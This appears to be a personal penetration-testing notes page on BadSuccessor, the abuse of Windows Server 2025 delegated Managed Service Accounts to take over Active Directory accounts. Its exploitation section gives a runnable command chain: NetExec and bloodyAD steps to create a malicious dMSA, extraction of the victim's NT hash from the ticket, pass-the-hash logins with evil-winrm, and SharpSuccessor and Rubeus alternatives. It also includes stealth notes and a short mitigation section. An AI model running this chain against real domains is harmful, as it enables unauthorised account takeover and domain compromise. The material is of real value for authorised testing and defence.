Haiyahhh Hack Vault

Active Directory - BadSuccessor (dMSA Abuse)

5 min read

🧠 Active Directory - BadSuccessor (dMSA Abuse)

What is it?

  • Concept: Windows Server 2025 introduced the delegated Managed Service Account (dMSA) — a service account type designed to replace a legacy service account in place. To make that migration seamless, the KDC treats a dMSA as the legal successor of the account it supersedes: it inherits the predecessor’s authorization data, and the predecessor’s Kerberos keys are handed to the dMSA so that already-issued material keeps working. BadSuccessor (Akamai, 2025) is the abuse of that migration path: whoever can create a dMSA object and point it at a victim account inherits that victim’s identity — no password reset, no cracking, no ADCS.
  • Impact: Full takeover of the superseded account, including its NT hash, which is delivered in cleartext-equivalent form inside the dMSA’s own Kerberos ticket. In its original, unhardened form the target could be any account in the domain (Domain Admins included), making a single CreateChild right on one OU a domain-compromise primitive.

How it works

  1. A dMSA carries msDS-ManagedAccountPrecededByLink — a DN pointing at the account it takes over from — and msDS-DelegatedMSAState, whose value 2 means “migration completed”. The predecessor side of the link is msDS-SupersededManagedAccountLink / msDS-SupersededServiceAccountState.
  2. When the migration is marked complete, the KDC builds the dMSA’s ticket from the predecessor’s authorization data: the PAC of the dMSA’s TGT carries the superseded account’s group memberships, so the dMSA is, for authorization purposes, that account.
  3. To keep sessions working across the migration, the TGS response for the dMSA includes a previous keys blob — the superseded account’s Kerberos keys. The RC4 key in that blob is literally the victim’s NT hash, handed over by the DC on request.
  4. Creating a dMSA only needs CreateChild on an OU (Create msDS-DelegatedManagedServiceAccount objects), which is a routine delegation — nowhere near the tier of right you would expect to be equivalent to taking over a privileged account.
  5. Hardened behavior (patched / current Server 2025): privilege inheritance no longer happens from the successor side alone — the victim object must also carry msDS-SupersededManagedAccountLink pointing back plus msDS-SupersededServiceAccountState = 2, and writing those requires write access on the victim account. That reduces BadSuccessor from “any account in the domain” to “any account you already have write access to” — still a clean upgrade from GenericWrite to a full NT hash (see HTB Machine - Checkpoint, where GenericWrite on svc_deploy became svc_deploy’s hash).

Exploitation

Prerequisites

  • A Domain Controller running Windows Server 2025 (the dMSA object class does not exist before it).
  • CreateChild (or GenericAll/GenericWrite) on any OU — this is where the dMSA gets created. Any OU will do; it does not have to be related to the victim.
  • On patched DCs: write access on the victim account as well, to set the superseded-side link. Unpatched: no rights on the victim at all.
  • ADCS is not required — this is the go-to GenericWrite escalation when Active Directory - Shadow Credentials Attack and the ESC-family are off the table.

Attack Vectors

# 1. Detection — NetExec module reports whether the domain is vulnerable and which OUs you can create in
nxc ldap '<domain>' -u '<user>' -p '<pass>' -M badsuccessor
 
# 2. Confirm the two rights you need: WRITE on the victim, and a writable OU
bloodyAD -u '<user>' -p '<pass>' -d '<domain>' --host '<dc_fqdn>' get writable --right WRITE
 
# 3. Create the dMSA that supersedes the victim, inside an OU you can write to
bloodyAD -u '<user>' -p '<pass>' -d '<domain>' --host '<dc_fqdn>' \
  add badSuccessor '<dmsa_name>' \
  -t 'CN=<victim>,OU=<ou>,DC=<domain>,DC=<tld>' \
  --ou 'OU=<writable_ou>,DC=<domain>,DC=<tld>'
# 4. Authenticating as the dMSA returns the predecessor's keys in the TGS:
dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: e16081eb077aca74bdbf8af12af43ac9      # <- the victim's NT hash
# 5. Use it like any other stolen hash
nxc smb '<dc_fqdn>' -u '<victim>' -H '<nt_hash>' --shares
evil-winrm -i '<target>' -u '<victim>' -H '<nt_hash>'
# Windows-side alternatives
# Discovery: which OUs can the current user create dMSAs in
.\Get-BadSuccessorOUPermissions.ps1
# Full attack from a Windows host
.\SharpSuccessor.exe add /path:'OU=<writable_ou>,DC=<domain>,DC=<tld>' /account:'<dmsa_name>' /name:'<dmsa_name>' /impersonate:'<victim>'
# Retrieve the dMSA ticket (and the superseded keys) with Rubeus
.\Rubeus.exe asktgs /targetuser:'<dmsa_name>$' /service:krbtgt/<domain> /dmsa /opsec /nowrap /ptt

Notes

  • When no password/hash is available for the attacking identity — e.g. after landing a shell through code execution rather than credentials — grab a TGT with Rubeus.exe tgtdeleg /nowrap, convert it (impacket-ticketConverter), and run the whole chain over Kerberos with bloodyAD -k ccache=<file>.ccache. See (incomplete) Rubeus.
  • Sync your clock before any Kerberos step (sudo ntpdate -b <domain>), otherwise everything fails with KRB_AP_ERR_SKEW.
  • The victim never notices: its password is unchanged, it is not disabled, nothing is reset. The only artifact is a new dMSA object plus two attribute writes.
  • BloodHound will not show you this path. The dMSA object class and the superseded-link relationship are not modelled as edges, so BadSuccessor has to be checked for explicitly — running the badsuccessor module against a Server 2025 domain is worth doing as a reflex during Active Directory - Enumeration.
  • Also check the OU-level rights, not just object-level ones: bloodyAD get writable lists OUs, and an OU you can write to is half the attack.

Mitigation

  • Fix: Patch the DCs (the hardened behavior requires write access on the superseded account) and then treat Create msDS-DelegatedManagedServiceAccount objects on any OU as a tier-0 delegation — audit who holds it with Get-BadSuccessorOUPermissions.ps1. Alert on creation of dMSA objects and on writes to msDS-ManagedAccountPrecededByLink / msDS-SupersededManagedAccountLink; in a domain that isn’t actively migrating service accounts, there should be zero of either.
FileCreated
HTB Machine - CheckpointThursday, September 3rd 2026, 9:04:16 pm

References:

Graph View

Backlinks